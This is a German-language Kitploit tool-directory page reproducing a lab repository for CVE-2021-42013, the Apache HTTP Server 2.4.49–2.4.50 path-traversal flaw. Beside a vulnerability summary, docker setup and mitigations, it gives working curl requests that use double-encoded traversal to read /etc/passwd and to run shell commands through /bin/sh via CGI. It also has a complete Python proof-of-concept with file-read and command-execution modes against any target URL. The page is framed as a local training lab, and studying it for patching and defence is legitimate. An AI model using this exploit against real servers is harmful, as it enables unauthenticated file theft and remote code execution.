Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-42013 | Kitploit
Tools/GitHubGitHub/eunho87/cve-2021-42013
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubeunho87/cve-2021-42013

CVE-2021-42013

Repository anzeigen
vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-42013

Mitwirkender

  • 석은호@eunho87

CVE-2021-42013 Apache http Server Path Traversal

Schwachstellenübersicht

Ein Fehler in der Pfadnormalisierung des Apache HTTP Server 2.4.50 ermöglicht es, ohne Authentifizierung beliebige Dateien zu lesen oder entfernten Code auszuführen.

Er wurde durch einen unvollständigen Patch für CVE-2021-41773 verursacht und umgeht die Pfadblockierung von Apache durch doppelte URL-Kodierung (%%32%65).

Referenzen

  • NVD - CVE-2021-42013
  • Apache Security Advisory

Voraussetzungen

Damit CVE-2021-42013 funktioniert, müssen die folgenden Bedingungen erfüllt sein.

  1. Apache 2.4.49~2.4.50
  2. Die Einstellung der Directory-Directive in der httpd.conf ist nicht Required all denied
  3. mod_cgi-Modul aktiviert (für RCE)

Umgebung einrichten

root@kitploit:~
docker-compose up -d

Um zu prüfen, ob die Testumgebung läuft, führe den folgenden Befehl aus:

root@kitploit:~
docker-compose ps

Wenn der Server ordnungsgemäß läuft, ist http://localhost:8080 erreichbar.

Reproduktion der Schwachstelle

Um in übergeordnete Verzeichnisse zu wechseln, wird ../ verwendet, aber Apache blockiert diese Zeichen. Um das zu umgehen, kann stattdessen der kodierte Wert 2e für . verwendet werden. Apache 2.4.50 dekodiert die %2e-Kodierung, bevor es prüft, daher wird %2e2e wie ../ blockiert. Deshalb muss eine doppelte Kodierung mit %%32%65 verwendet werden, um diese Filterung zu umgehen.

root@kitploit:~
curl -s --path-as-is "http://localhost:8080/static/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd"

In einer CGI-fähigen Umgebung kann der letzte Teil zu /bin/sh geändert werden, wodurch RCE möglich wird.

root@kitploit:~
curl -s --path-as-is -X POST \
  --data "echo Content-Type: text/plain; echo; id; uname -a" \
  "http://localhost:8080/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"


PoC-Code

Python (poc.py)

root@kitploit:~
#!/usr/bin/env python3
import sys
import http.client
from urllib.parse import urlparse

def exploit(target_url, mode, arg):
    parsed = urlparse(target_url)
    host = parsed.hostname
    port = parsed.port or 80
    trav = "%%32%65%%32%65/" * 4
    
    if mode == "read":
        path = f"/static/{trav}{arg}"
        conn = http.client.HTTPConnection(host, port, timeout=5)
        conn.request("GET", path)
    else:
        path = f"/cgi-bin/{trav}bin/sh"
        body = f"echo Content-Type: text/plain; echo; {arg}"
        conn = http.client.HTTPConnection(host, port, timeout=5)
        conn.request("POST", path, body=body, headers={"Content-Type": "application/x-www-form-urlencoded"})
    
    result = conn.getresponse().read().decode("utf-8", "replace")
    conn.close()
    return result

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"사용법: {sys.argv[0]} <url> <read|exec> <arg>")
        sys.exit(1)
    print(exploit(sys.argv[1], sys.argv[2], sys.argv[3]))

Gegenmaßnahmen

  • Apache auf Version 2.4.51 oder höher aktualisieren
  • Require all denied beibehalten

Aufräumen

root@kitploit:~
docker-compose down

Tool herunterladen